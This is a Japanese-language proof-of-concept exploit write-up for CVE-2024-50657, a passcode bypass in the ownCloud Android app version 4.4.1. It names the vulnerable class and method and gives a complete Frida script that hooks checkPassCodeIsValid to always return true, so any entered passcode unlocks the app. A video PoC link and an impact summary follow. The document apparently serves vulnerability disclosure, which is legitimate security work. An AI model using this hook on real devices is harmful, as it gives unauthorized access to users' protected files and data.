
CVE-2024-50657の概念実証エクスプロイトを提供します。これはOwncloud Androidアプリの不正確なアクセス制御の脆弱性であり、Fridaフックによるパスコードバイパスを実証します。
Owncloud Android APK v.4.4.1に存在する問題により、物理的に近接する攻撃者がPassCodeViewModelクラス、特にcheckPassCodeIsValidメソッドを介して権限を昇格させる可能性があります。
不適切なアクセス制御
Owncloud
Owncloud Android APK - 4.4.1
com.owncloud.android.presentation.security.passcode.PassCodeViewModel
PassCodeViewModelクラスはアプリケーション内でパスコード検証のロジックを管理します。 このクラスのcheckPassCodeIsValidメソッドは、入力されたパスコードの正当性を判定する役割を担います。
Fridaスクリプトを使用して、PassCodeViewModelクラスのcheckPassCodeIsValidメソッドをフックします。 メソッドの実装を常にtrueを返すように変更し、実際のパスコード検証をバイパスします。
アプリが実行されている状態でFridaスクリプトを実行します。 ユーザーが入力したパスコードはすべて有効と見なされ、不正アクセスが可能になります。
Java.perform(function() { // 対象アプリケーション内のPassCodeViewModelクラスを特定する var PassCodeActivity = Java.use('com.owncloud.android.presentation.security.passcode.PassCodeViewModel');
// checkPassCodeIsValidメソッドをフックして動作を変更する PassCodeActivity.checkPassCodeIsValid.implementation = function(passcode) {
// 実際のパスコードチェックをバイパスし、常にtrueを返す return true;
};
});
動画PoCリンク : https://drive.google.com/drive/folders/1C-ZYjYhmKRGvWs9YN51XOiAS2WxxwdQd?usp=sharing
この脆弱性はクライアントサイドのセキュリティバイパス脆弱性です。パスコード機能に依存して機密データを保護したり、特定のアプリ機能へのアクセスを制限したりするアプリケーションのユーザーに影響を及ぼします。この脆弱性を悪用することで、攻撃者はパスコードチェックをバイパスし、保護されるべきアプリ内の領域への不正アクセスを取得し、ユーザーデータを露出させたり、アプリ内で許可されていない操作を実行したりする可能性があります。